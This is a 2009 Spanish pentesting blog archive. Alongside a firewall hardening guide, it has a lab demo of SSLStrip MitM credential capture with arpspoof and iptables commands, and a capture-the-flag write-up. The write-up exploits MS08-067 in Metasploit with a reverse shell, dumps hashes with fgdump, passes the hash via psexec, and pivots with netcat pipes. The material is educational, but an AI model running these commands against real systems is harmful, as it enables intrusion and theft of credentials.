viernes, 31 de julio de 2009

Pentester de Vacaciones

Hola compañeros apasionados de la seguridad, como suele ser normal en este tipo de blogs, los miembros de Pentester.es nos vamos de vacaciones durante el mes de agosto, por lo que no vamos a publicar nada durante este mes, a no ser que salga algo muy sonado que nos quite el sueño no publicar :P

Gracias a todos los que nos habeis leido este año y sobretodo a aquellos que por medio de comentarios habeis expresado vuestras opiniones y habeis aportado nuevas ideas, entre todos habeis conseguido que un blog que en principio leiamos 7 amiguetes (y no es un decir, eran los que eramos en los feeds) interesados por la seguridad que habiamos estudiado juntos ahora lo lean cerca de 500 personas (también datos de feedburner) interesadas por la seguridad técnica.

Además, la despedida de esta temporada de Pentester.es es particularmente especial para mi, ya que ¡MAÑANA ME CASO! y quiero agradecer especialmente a mi novia Eva por la paciencia que demuestra conmigo, por los domingos que se ha pasado viendo la tele mientras yo estudiaba o probaba técnicas o herramientas nuevas y por la confianza que siempre demuestra en mi :)

Lo dicho, gracias a todos, volveremos el 1 de Septiembre con las pilas cargadas y con ganas de contar muchas cosas interesantes, esperamos que sigais ahí para leerlas!

Feliz verano a todos y no os olvideis de parchear, que en verano la gente se despista mucho y los intrusos hacen su agosto :P

miércoles, 29 de julio de 2009

Bastionado perezoso de Windows Vista (II) -- Jugando con el Firewall

Como quedamos en el post anterior, es hora de ver la configuración del firewall de Windows Vista y de fijar una política que se ajuste a nuestras necesidades básicas. El firewall de Windows Vista "permite" controlar el tráfico de entrada (inbound) y el tráfico de salida (outbound). Las redes en Windows Vista pueden pertenecer al perfil de dominio, privado o público. Según se puede leer
en la página oficial de Microsoft las redes se clasifican en uno de estos perfiles en base a:

Perfil dominio: si la conexión se autentica en un controlador de dominio del que la red es miembro.
Perfil público: pensado para usarse cuando se está en lugares públicos como aeropuertos o cafeterías.
Perfil privado: está pensada para su uso en una conexión doméstica o de oficina situada tras un dispositivo de extremo.

La política por defecto que fija el tipo de Bastionado Enterprise Client (EC) consiste en Bloquear por defecto todas las conexiones de entrada y Permitir todas las conexiones de salida, para los tres perfiles. Además, el firewall constará de una serie de reglas de entrada y de salida, que serán las excepciones a la política por defecto.

Una vez visto de manera rápida estos términos, es hora de ver esta configuración y modificarla a nuestro gusto. La modificaciones en el firewall se pueden hacer desde tres puntos.

  1. Panel de Control > Firewall de Windows.
  2. Panel de Control > Herramientas Administrativas > Firewall de windows con seguridad avanzada.
  3. Panel de Control > Herramientas Administrativas > Directiva de Seguridad Local > Firewall de windows con seguridad avanzada.
Cada uno de estos tres puntos ofrece diferentes niveles de funcionalidad, siendo desde el tercer punto donde se podrá personalizar más nuestro firewall. Este último, trabaja a nivel de directiva de grupo, siendo intocable desde el punto primero y segundo la configuración fijada.

Desde un punto de vista operativo y funcional, la configuración por defecto podría ser adecuada, pero sinceramente en los tiempos que corren, con gran cantidad de malware suelto, con diversas maneras de infección, etc. se me ocurren configuraciones un poco más apropiadas para el firewall, pero eso sí, menos operativas y prácticas.

Visto cómo es la configuración por defecto vamos a realizar una serie de cambios (durante la entrada se van a aplicar los cambios a los perfiles público y privado) siguiendo unos pasos sencillos (estos cambios pueden hacer que algo deje de funcionar en el equipo, por lo que cada uno deberá ajustarlo a su software y necesidades):

Configuración a nivel de Directiva de Grupo del firewall.
  • Cambiar la configuración de las reglas de entrada y salida en la Directiva de Grupo, que vienen por defecto. En las reglas de salida no existe ninguna y lo mantendremos igual. En las reglas de entrada cambiaremos todas las reglas a Bloquear. (nota: si deshabilitáis el DHCP de entrada no funciona de manera correcta Openvpn y el DHCP). A continuación se muestra como quedaría según lo mencionado.
  • Aplicar en el tráfico de salida como política por defecto "Bloquear", como mínimo para las redes con perfil público (las declaradas como más menos seguras por parte del usuario). También personalizaremos el perfil para que nos muestre notificaciones cuando existe un bloqueo y activaremos el registro de paquetes descartados en el fichero pfirewall.log.





Configuración a través del complemento "firewall de windows con seguridad avanzada"

  • Bloqueamos todo el tráfico de entrada. Si se ofrece algún servicio, aquí deberíamos habilitarlo.
  • Configuramos las reglas de salida, permitiendo salir a las aplicaciones que utilicemos, al tráfico DNS UDP (si utilizáis vmware, para que las máquinas virtuales puedan realizar peticiones DNS deberéis modificar la regla de DNS UDP), al tráfico ICMP y al tráfico DHCP de salida.




Como se ha podido ver se ha bloqueado todo y permitido lo que se va a utilizar en un entornos doméstico sin necesidad de compartir carpetas, impresoras, etc. Donde lo que va a realizar el equipo es navegación web, conexiones vpn, actualizaciones del antivirus, etc.

Es un proceso delicado y que puede costar un rato, pero con esto avanzaremos un pasito más en nuestro camino de controlar todo lo que entra y sale ;).



jueves, 23 de julio de 2009

SSLStrip 0.2

En la Black Hat DC 2009 se presentó la herramienta SSLStrip por parte de Moxie Marlinspike. La herramienta permite realizar ataques MiTM (Man-in-The-Middle) transformando todas las comunicaciones entre cliente y la herramienta sslstrip en comunicaciones sin SSL, evitando con ello los mecanismos que alertan al usuario de la existencia de una comunicación no segura; además de insertar elementos para que el cliente crea que la comunicación sí que se está haciendo de forma segura. Las funciones principales de la herramienta serían:

1. Hacer MiTM en las conexiones HTTP.
2. Reemplazar todos los enlaces HTTPS por enlaces HTTP.
3. Comunicarse con el cliente siempre por HTTP, incluso para las conexiones seguras.
4. Comunicarse con el servidor por HTTPS, para los mismos links seguros que hablamos antes.
5. Hacer transparente la comunicación tanto para el cliente como para el servidor.
6. Reemplazar imágenes como el favicon por imagenes que aporten confianza en la conexión al cliente.
7. Obtención de información sensible.


Una vez vista la teoría, ha llegado el momento de probar la herramienta y comprobar su efectivadad. Para las pruebas utilizararemos una máquina Windows XP como víctima del ataque y una máquina Linux como atacante, todo ello dentro de un entorno virtual con VMware. Estas dos máquinas están dentro de la misma red local y los datos de red son:

  • IP Windows: 192.168.138.129
  • IP Linux: 192.168.138.131
  • Puerta de enlace: 192.168.138.2

Preparamos la máquina Linux (que será la que ejecutará el ataque):
  1. Permitir el ip forwarding:
    #echo "1" > /proc/sys/net/ipv4/ip_forward
  2. Redirigimos todo el tráfico HTTP al puerto 10000 (puerto por defecto de SSLStrip, pudiendo utilizar cualquier otro).
  3. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  4. Arrancamos SSLStrip, con lo que tendremos en el puerto 10000 la aplicación escuchando.
    #python sslstrip.py -f -w sslstrip.log
  5. Realizamos el ataque de arpspoofing para que todo el tráfico pase por la herramienta SSLStrip.
    #arpspoof -i eth0 -t 192.168.138.129 192.168.138.2
En este momento todo el tráfico de la máquina Windows pasará a través de la máquina Linux, haciendo que el tráfico HTTP pase a su vez por la herramienta SSLStrip. Lo que vamos a ver es cómo la herramienta realiza la transformación de enlaces de https a http. Como ejemplo utilizaremos la red social Facebook.

El proceso normal a la hora de autenticarnos generará el siguiente flujo:
  • Accedemos a www.facebook.es
  • El servidor nos responde y nos entrega como parte de la respuesta una URL para autenticarnos que como podéis ver utilizará ssl : https://login.facebook.com/login.php?login_attempt=1.
  • Con lo que una vez accedamos a login.facebook.com la comunicación será bajo SSL.
Ahora analizaremos lo que pasará cuando el tráfico HTTP (recordemos que la comunicación con www.facebook.es es http) pase por SSLStrip.
  • Visitamos www.facebook.es
  • En este caso recibimos la respuesta del servidor pero ligeramente modificada (respecto a la original) por SSLStrip y podemos ver que ahora para autenticarnos nos ofrecerá la siguiente URL : "http://login.facebook.com/login.php?login_attempt=1"



  • Una vez insertado usuario y password se realiza una conexión HTTP sin SSL entre el cliente y SSLStrip.
Después de esas "pequeñas transformaciones", revisamos el log sslstrip.log y vemos las credenciales de acceso a facebook y como ha generado la petición segura para enviarla al servidor.

Got request: POST /login.php?login_attempt=1
Clean cookies, continuing...
Sending Secure Request
Sending Request: POST /login.php?login_attempt=1 HTTP/1.0
Sending header: content-length: 257
Sending header: accept-language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Sending header: connection: close
Sending header: accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sending header: user-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)
Sending header: accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Sending header: host: login.facebook.com
Sending header: referer: http://www.facebook.es/
Sending header: cookie: datr=...; locale=es_ES; test_cookie=1; login=+; ABT=...; s_cc=true; s_vsn_facebookpoc_1=; s_sq=; cur_max_lag=2; h_user=; x-referer=http%3A%2F%2Fwww.facebook.com%2Fhome.php; reg_fb_gate=http%3A%2F%2Fwww.facebook.es%2F; reg_fb_ref=http%3A%2F%2Fwww.facebook.es%2F; login_x=...
Sending header: content-type: application/x-www-form-urlencoded
SECURE POST Data (login.facebook.com): charset_test=...&locale=es_ES&email=LOGIN%40dominio.com&pass=PASSWORD&pass_placeholder=...

En el caso de haber realizado el ataque de MiMT con otra herramienta, navegadores como Firefox hubieran mostrado un mensaje de alerta. En cambio con SSLStrip el esquema es el mencionado:

Cliente <---NoSSL----> SSLStrip <--SSL---> Servidor

Con este esquema el navegador no tendrá nada que alertar ;).

Por tanto, la herramienta proporciona los mecanismos necesarios para que un usuario piense que la conexión se está estableciendo de manera segura, aunque realmente esto no sea así y todo el tráfico hacia la herramienta salga sin cifrar.

jueves, 16 de julio de 2009

Solución: Santa Claus is Hacking to Town (y III)

En el anterior post vimos como conseguiamos obtener acceso al equipo JailMasterLaptop con privilegios de SYSTEM a través de la vulnerabilidad MS08-067, la utilizada por el conocido malware Conficker.

Una vez obtenido el acceso, y dado que sé que entre 2 equipos Windows que tengan idéntico usuario y contraseña puedes acceder a sus recursos compartidos siendo autenticado como dicho usuario sin necesidad de volver a teclear de contraseña, me planteo la posibilidad de poder realizar algo tipo "su -" de Unix pero en Windows, y transformarme así en usuario jailmaster, desde el que podré lanzar la ejecución de dooropen.exe. Esta sería una muy buena opción para utilizar ese "comodín" que tenemos si encuentro algo que pese menos de 1MB.

Sin embargo, tras algunas horas de buscar, no encuentro ninguna herramienta que parezca que sirva para lo que quiero, como mucho encuentro algunas para hacer sudo, pero no acabo de ver como aplicarlas a mi caso (no estaban preparadas para hacer un "sudo" sin contraseña, o no vi nada parecido). Frustrado por no encontrar nada, y convencido de que si no existe nada es muy muy factible programarlo, pero consciente que no conseguiré hacerlo antes de que el carcelero vuelva a ajusticiarme, decido no obcecarme en esta linea de pensamiento y contemplar otras opciones.

De esta manera me pongo a pensar: Vale, Windows autentica sin poner contraseña entre dos máquinas que usen el mismo usuario y contraseña, ¿cómo lo hace? ¿con la contraseña? ¿se la guarda en memoria? no, lo que se guarda en memoria es el Hash de la contraseña, que es lo que usa seguramente para autenticar sin volver a pedir la contraseña.

Ese razonamiento me hizo acordarme de las técnicas Pass de Hash, que precisamente leí hace tiempo en una presentación del propio Ed Skoudis, el autor del reto, pero que nunca había utilizado hasta ahora. Esta técnica nos va a permitir establecer comunicaciones autenticadas sin necesidad de conocer la contraseña, ya que las aplicaciones, cuando reciben la contraseña, calculan el Hash y lo envian para ser autenticados. Este tipo de herramientas lo que hacen es saltarse ese paso y dejan que les introduzcas el Hash directamente, con lo que puedes autenticarte sin tener que crackerar el Hash. Esto es lo que necesitamos!!

Así que, lo que necesitamos es el hash del usuario jailmaster, y para ello hemos conseguido una shell con privilegios de system, así que lo tenemos fácil, sólo tenemos que subir al equipo comprometido el binario que vamos a utilizar para hacer un dump de los hashes, que será el binario para el que utilizaremos el "comodín" y descargaremos de Internet (fgdump). Esto se podría hacer de muchas maneras, compartiendo una carpeta de red por linea de comandos, por ejemplo, pero dado que no tenemos ningún filtrado entre nosotros en ninguna dirección, es posible que lo más rápido y cómodo sea utilizar tftp, que viene por defecto en todos los Windows XP:

1) En primer lugar creamos un directorio en nuestro Linux (BackTrack 4 Beta) donde guardar el fgdump.exe que previamente hemos descargado, y lanzamos atftpd:

# mkdir /fgdump
# cp fgdump.exe /fgdump
# atftpd --daemon --port 69 /fgdump


2) Una vez lanzado el daemon tftp desde nuestro Linux, volvemos a la consola con privilegios de SYSTEM que hemos obtenido en la Metasploit y subimos el fichero mediante tftp:

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>tftp
santasvmlinux GET fgdump.exe
tftp
santasvmlinux GET fgdump.exe
Transferencia terminada: 981129 bytes en 1 segundo, 981129 bytes/s

C:\>


3) Una vez tenemos disponible el binario, lanzamos el dump de los hashes, que como veremos no nos muestra por pantalla, sino que los guarda en un fichero, por lo que para evitar tenerlos que subir a nuestra máquina simplemente haremos un "more" (sólo muestro la linea que nos interesa):

C:\>fgdump
fgdump
fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright(C) 2008 fizzgig and foofus.net
fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
more information.

No parameters specified, doing a local dump. Specify -? if you are looking for help.
--- Session ID: 2009-07-16-05-02-47 ---
Starting dump on 127.0.0.1

** Beginning local dump **
OS (127.0.0.1): Microsoft Windows XP Professional Service Pack 2 (Build 2600)
Passwords dumped successfully
Cache dumped successfully

-----Summary-----

Failed servers:
NONE

Successful servers:
127.0.0.1

Total failed: 0
Total successful: 1

C:\>


C:\>more 127.0.0.1.pwdump
more 127.0.0.1.pwdump
jailmaster:1003:61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2:::


4) Ya tenemos el hash, así que ya hemos acabado con el JailMasterLaptop, nos lo copiamos (61C5E3C2A708C8F964D99A428911CCC2:
CD162588229E3E220D2861CE03E224D2
) y volvemos a la Metasploit para utilizar este hash con el módulo psexec, que implementa idéntica funcionalidad al psexec de Sysinternals pero con la opción de pasarle la contraseña a utilizar como Hash, lo cual nos va a permitir ejecutar el fichero dooropen.exe (por simplicidad, supongamos que está en el path, sino buscarlo tampoco sería un problema):

msf > use windows/smb/psexec
msf exploit(psexec) > set RHOST santasvmlinux
RHOST => santasvmlinux
msf exploit(psexec) > set SMBUser jailmaster
SMBUser => jailmaster
msf exploit(psexec) > set SMBPass 61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2
SMBPass => 61C5E3C2A708C8F964D99A428911CCC2:CD162588229E3E220D2861CE03E224D2
msf exploit(psexec) > set PAYLOAD windows/exec
PAYLOAD => windows/exec

msf exploit(psexec) > set CMD dooropen.exe
CMD => dooropen.exe

msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Authenticating as user 'jailmaster'...
[*] Uploading payload...
[*] Created \EPhTMEaN.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:santasvmlinux[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:santasvmlinux[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SEYtphhy - "McBBmxoTIvikJAjuWdM")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \EPhTMEaN.exe...
[*] Exploit completed, but no session was created.







Como podemos observar en la máquina que controla la puerta de la carcel, hemos conseguido ejecutar dooropen.exe, y en pocos segundos la puerta de la prisión se ha abierto ante nosotros, lo cual nos permite escapar de la carcel...

RETO CONSEGUIDO!!

Tras resolver el reto a mi manera (tal y como está en este post) he mirado también soluciones de otra gente como las publicadas en la propia web theEthicalHacker.Net y por Raúl Siles, que son similares a las mias, aunque no idénticas.

Como es normal, existen varias posibilidades, una de las que también me plantee es hacer un script con psexec y dejarlo en la carpeta de inicio del portatil del jailmaster y luego apagarselo (por si tiene la sesión bloqueada), para que cuando lo arranque ejecute sin quererlo el dooropen.exe. También está la opción de haber puesto un keylogger, ya que somos SYSTEM, pero ninguna de las dos opciones me gustaba, ya que presuponía que Jailmaster iba a usar su portatil antes de que nos ajusticiaran, lo cual no tiene porque ser así.

Una de las opciones que han usado en la solución que sí que me ha gustado más que la que he usado yo es la utilización de Meterpreter, una funcionalidad de Metasploit (una caña realmente) que sí conocía pero que no la he usado demasiado por aquello de que sirva sólo para Windows y que no tenía muy claro que tal cabría su Payload en los buffer overflow. El caso es que con esta herramienta no hace falta ni hacer tftp, ni usar fgdump, ni nada de eso, ya viene con la funcionalidad para volcar los hashes "de serie" y muchas otras que se pueden ir cargando dinámicamente, una auténtica maravilla, una pena que sólo esté disponible para Windows.

Otro día, quizá un post sobre Meterpreter :)

Dudas, comentarios y críticas son, por supuesto, bienvenidas ;)

miércoles, 8 de julio de 2009

Silencio, el Exploiting ha muerto...

Si desde hace unos días no podemos escuchar otra cosa que la frase "silencio, el pop a muerto" en referencia a la muerte de Michael Jackson, para los que nos dedicamos a la seguridad este momento podiamos decir que es algo similar al que deben sufrir los fans del cantante. Así me he quedado yo al leer hoy en SecurityByDefault la noticia del abandono de str0ke del proyecto milw0rm, no en vano durante muchos años he oido aquella frase que muchos habreis oido: "si no está en milw0rm no existe", que si bien no es completamente cierto, sí que es una excepcional colección de exploits.

Concretamente, desde hace mucho tiempo milw0rm ha sido mi fuente de exploits número dos, siendo la primera la también excepcional Metasploit Framework, principalmente por lo cómodo que resulta realizar la explotación si existe exploit disponible en este framework.

Ya he mandado un correo a str0ke agradeciendole su dedicación durante todos estos años que tanto ha facilitado mi tarea en la realización de test de intrusión, y le he deseado mucha suerte en los futuros proyectos que acometa, además de ofrecerle mi ayuda si necesita cualquier cosa en la que pueda ayudarle.

Por nuestro lado, ¿y ahora qué? Yo seguiré usando la metasploit como principal opción por la comodidad (siempre y cuando el exploit esté disponible para metasploit), pero como siguientes opciones tendremos que volver a la búsqueda en página como Security Focus, Packet Storm Security, etc. También podemos usar la web Exploit Search, que nos ofrece un búsqueda personalizada de Google para encontrar facilmente información acerca de las vulnerabilidades y exploits, si bien para encontrar el código de exploits es necesario usar pequeñas palabras clave como pueda ser "include", "define" o "main" si estamos buscando exploits escritos en C o cadenas equivalentes en otros lenguajes (perl, python, etc) que nos puedan discriminar aquellas webs que contienen código, es decir, no solo las que hablan de la vulnerabilidad, sino las que contienen el exploit. Este buscador fue ya comentado a principio de año en este mismo blog.

En cualquier caso... un minuto de silencio... el Exploiting ha muerto...

sábado, 4 de julio de 2009

Solución: Santa Claus is Hacking to Town (II)

Tal y como comentabamos en el anterior post del reto Santa Claus is Hacking to Town, hemos conseguido accesibilidad al puerto 445 de la máquina en la que tenemos que conseguir ejecutar el binario dooropen.exe, que sólo tiene privilegios de ejecución para el usuario jailmaster, que sabemos que tiene una contraseña largísima pero que el carcelero la usa para todos los equipos de la carcel.

Ahora sólo nos queda ejecutar el comando, para lo cual deberemos utilizar alguna vulnerabilidad en la configuración o administración del equipo, ya que sabemos que está completamente parcheado. De la información que tenemos y las herramientas de que disponemos, enseguida pienso que la forma más fácil va a ser explotar alguna vulnerabilidad del portatil que no está parcheado, y a partir de ahí, puesto que utiliza la misma contraseña en todos los equipos, y que los Windows autentican automáticamente entre ellos cuando se usa la misma contraseña, utilizar psexec para ejecutar el comando dooropen.exe en la máquina objetivo.

Vamos a ello, tal como dicen en el enunciado del reto, el portatil del jailmaster (jailmasterlaptop) está sin parchear, y concretamente es vulnerable a la famosa vulnerabilidad MS08-067 utilizada por el Conficker y que tantos quebraderos de cabeza nos ha causado en los últimos meses.

Revisamos nuestro arsenal y vemos que tenemos la Metasploit con los últimos plugins, entre ellos el que explota esta vulnerabilidad, así que vamos a ello (en negrita los comandos que tenemos que teclear), todo desde mi BackTrack4 Beta en imagen VMWare:

1) Arrancamos Metasploit, tarda un poco porque tiene que cargar los plugins y todo:

# cd /pentest/exploits/framework3
# ./msfconsole

=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf >


2) Buscamos la vulnerabilidad que queremos explotar:

msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption

msf >


3) Ya sabemos que el módulo se llama "windows/smb/ms08_067_netapi", así que vamos a escogerlo:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >


4) Ahora sacamos un listado de los Payload que tenemos disponibles:

msf exploit(ms08_067_netapi) > show payloads

Compatible payloads
===================

Name Description
---- -----------
[...]
windows/shell/reverse_nonx_tcp Windows Command Shell, Reverse TCP Stager (No NX Support)
windows/shell/reverse_ord_tcp Windows Command Shell, Reverse Ordinal TCP Stager
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
[...]

msf exploit(ms08_067_netapi) >


5) Escogemos una reverse shell, para obtener acceso a la máquina y que sea ella la que se conecta a nosotros, por si hubiera algún tipo de filtrado:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) >


6) Hacemos que nos muestra las opciones que tenemos que seleccionar para poder lanzar el exploit:

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


msf exploit(ms08_067_netapi) >


7) Completamos la información de IP de origen (para lanzar el ataque), IP destino (para que sepa hacia donde tiene que lanzar el reverse shell) y puerto (usaremos el 80 por si hay algún tipo de filtrado):

msf exploit(ms08_067_netapi) > set RHOST jailmasterlaptop
RHOST => jailmasterlaptop
msf exploit(ms08_067_netapi) > set LHOST santasvmlinux
LHOST => santasvmlinux
msf exploit(ms08_067_netapi) > set LPORT 80
LPORT => 80
msf exploit(ms08_067_netapi) >


8) Lanzamos el exploit y... tachaaaan! Shell Remota con privilegios de SYSTEM:

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (santasvmlinux:80 -> jailmasterlaptop:1044)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


Ya tenemos nuestra Shell con privilegios de SYSTEM en el sistema, y sabemos que el mismo portátil tiene un usuario jailmaster que tiene la misma contraseña que la que necesitamos para poder ejecutar remotamente el comando dooropen.exe y poder salir de la prisión, pero no podemos coger el hash y crackearlo, ya que la contraseña es muy larga y no tenemos ningún diccionario ni capacidad de bajar ninguno (sólo podemos bajar una herramienta de 1 MB). Sin embargo, está claro que la clave está en el acceso a este equipo que acabamos de conseguir, y me hago la siguiente hipótesis nada más lograr el acceso: ¿desde SYSTEM en Windows se puede hacer un "su -" y convertirme en cualquier usuario sin necesidad de contraseña como sucedería en un Unix desde el usuario root? Si lo consiguiera podría establecer autenticación entre ambos usuarios sin necesidad de teclear la contraseña y lanzar psexec desde el portatil (si es posible lanzarlo sin establecer contraseña). Pero eso, para el siguiente post ;)

miércoles, 1 de julio de 2009

Solución: Santa Claus is Hacking to Town (I)

Hace unos días os comentaba este reto que estuve resolviendo en el que necesito acceder a un equipo que parece inaccesible a nivel de red y ejecutar un binario llamado dooropen.exe que sólo tiene permisos a nivel de sistema de ficheros para el usuario jailmaster.

Para más detalles y por no repetirme, podeis leer la entrada de hace unos días, en la que explico en que consiste el reto con más profundidad.

El caso es que nos encontramos con que tenemos que ejecutar algo de una máquina para la que no tenemos acceso a nivel de red, por lo que vamos a necesitar suplantar a Web1 de alguna manera para poder tener conectividad a nivel de red con Door1, sino poco más vamos a poder hacer. Para obtener esta conectividad a nivel de red, hay varias opciones:
  1. Dado que estamos en la misma red LAN que el sistema afectado, podriamos realizar un ataque de DoS de cualquier tipo y, simplemente, ponernos su IP utilizando el comando ifconfig, y de esta manera poder pasar a través del firewall. Esta solución es conveniente tenerla en mente cuando hacemos pentest, pero no es conveniente llevarla a cabo, al menos no sin antes consensuarlo y pactar un horario de mínimo impacto. En el caso de este reto, metiendome en el papel, he descartado esta opción, ya que una DoS del equipo va a alertar a lo amos del calabozo de que algo está pasando, y quizá puedan detectarme y rastrearme antes de que pueda completar mi misión.
  2. Dado que estamos en la misma red LAN, podriamos utilizar otras maneras de realizar suplantación de IP de una manera más silenciosa, como por ejemplo realizar un ataque MitM mediante técnicas de ARP-Spoofing, con lo que conseguiremos que todo el tráfico entre Web1 y Door1 pase por nosotros. Una vez hecho esto, sólo tenemos que crear un interface virtual con la misma IP que Web1 en el equipo que realiza el ARP-Spoofing (# ifconfig eth0:1 inet 192.168.1.6 netmask 255.255.255.0). De esta manera, iniciaremos conexiones desde nuestro equipo con la IP de Web1, las cuales irán hasta el objetivo y volverán a nosotros, pudiendo así establecer la conexión de forma muy silenciosa. Este método sería muy bueno para obtener acceso, y de hecho yo lo utilizo mucho cuando hago pentest (también con cuidado, un error haciendolo y puedes dejar a un equipo aislado de la red por haber envenenado mal su tabla ARP), pero para este reto, aunque posible, no me gusta, porque para realizarlo tendriamos que utilizar el comodón que nos dan para bajarnos ettercap o arpspoof o alguna otra herramienta equivalente, por lo que gastariamos esa opción que vamos a necesitar posteriormente, así que también queda descartado.
  3. Utilizar NetCat para hacer que Web1 nos "puentee" una conexión con Door1: Web1 no presenta ninguna vulnerabilidad en el sistema que podamos atacar, pero sí tiene una vulnerabilidad que permite ejecutar comandos como usuario apache, lo cual puede ser suficiente para usar el NetCat compilado para Linux que tenemos en nuestro arsenal del reto y hacer que la máquina nos haga de "puente" entre nosotros y Door1, evadiendo de esta manera las restricciones del Firewall. Esta va a ser la opción escogida, ya que es silenciosa y no requiere emplear el comodín.
En primer lugar, para realizar esta técnica que ya comenté brevemente al hablar cobre NCat (de Fyodor), necesitamos subir la versión compilada de NetCat para Linux que tenemos, ya que en el sistema no se encuentra instalada y no tenemos privilegios para hacerlo. Para ello, dado que tenemos todas las conexiones salientes permitidas, lo cómodo es utilizar los comandos tftp o wget, que nos permitirán coger de nuestro equipo el fichero que pondamos en nuestros tftpd o httpd y hacerlo llegar hasta el servidor. En el caso de que la máquina estuviera completamente bastionada y estos comandos no estuvieran disponibles, tenemos varias opciones, la primera de ellas es establecer una conexión utilizando el dispositivo /dev/tcp, pero tiene el problema de que en función de la distribución en la que nos encontremos vamos a poder hacerlo o no, ya que algunas lo tienen "capado". La opción que se me ocurre que siempre funcionaría, aunque es la más laboriosa y no me he puesto a probarlo, es codificar el cuerpo del binario en base64, por ejemplo, y posteriormente enchufarselo a la aplicación web vulnerable de alguna forma. Luego de eso, nos vamos a los logs de apache que evidentemente deberán tener permiso para que el usuario apache los lea, y obtenemos dicha cadena en base64. Ya sólo nos quedará volver a pasar de base64 a binario y tendremos nuestro NetCat para Linux en la máquina Web1.

Una vez hecho esto ya podemos empezar a jugar con NetCat, como la máquina Web1 tiene filtrado todo el tráfico entrante salvo el puerto 80 y no podemos bajar el servicio del puerto 80 (nos quedariamos sin poder ejecutar comandos y además sería muy ruidoso, igual que el DoS), no vamos a poder usar el NetCat en modo listening, sólo vamos a poder iniciar conexiones desde Web1. Entonces lo que vamos a tener que hacer es que Web1 inicie una conexión, por un lado al puerto 445 de Door1, y por otro lado a algún puerto de nuestro equipo (80, 443 o 53 son buenas opciones, por si hubiera algún tipo de filtrado, aunque en este caso no se especifica, pero podriamos incluso usar una conexión saliente udp con NetCat al puerto 53 si fuera necesario, ya que NetCat funciona tanto en TCP como en UDP). En nuestro equipo tendremos que tener, por tanto, un NetCat lanzado en modo escucha en el puerto 80 (siguiendo el ejemplo) enganchado con otro NetCat también a la escucha en el puerto 445, que será sobre el que realicemos el ataque.



Para hacerlo, en primer lugar tendremos que lanzar los NetCat que estarán a la escucha, ejecutando en nuestro equipo (el portatil de santa) los siguientes comandos (recordad que tengo que usar corchetes con el símbolo de mayor y menor para que Blogger no me haga cosas raras, pero cuando vayais a usar el comando borradlo):

# mknod tuberia p
# nc -l -p 80 0[<]tuberia | nc -l -p 445 1[>]tuberia

Con esto ya tenemos el portatil de santa preparado y escuchando conexiones, así que sólo nos queda lanzar las conexiones en web1. Para ello utilizamos los siguientes comandos (podemos hacerlo linea a linea o en una sola conexión utilizando ; ):

$ mknod tuberia p
$ nc door1 445 0[<]tuberia | nc santaportatil 80 1[>]tuberia

Una vez establecido esto, podemos conectar con la herramienta que queramos al puerto 445 de nuestro equipo virtual Linux y eso nos dará acceso directo al puerto 445 de Door1, con lo que podemos lanzar el ataque (que aún no hemos comentado como hacerlo) y cumplir con nuestro objetivo.



Todavía no sabemos que vamos a hacer para ejecutar dooropen.exe, pero al menos ya tenemos acceso al puerto 445 de la máquina. En el próximo post, la explotación de JailMasterLaptop.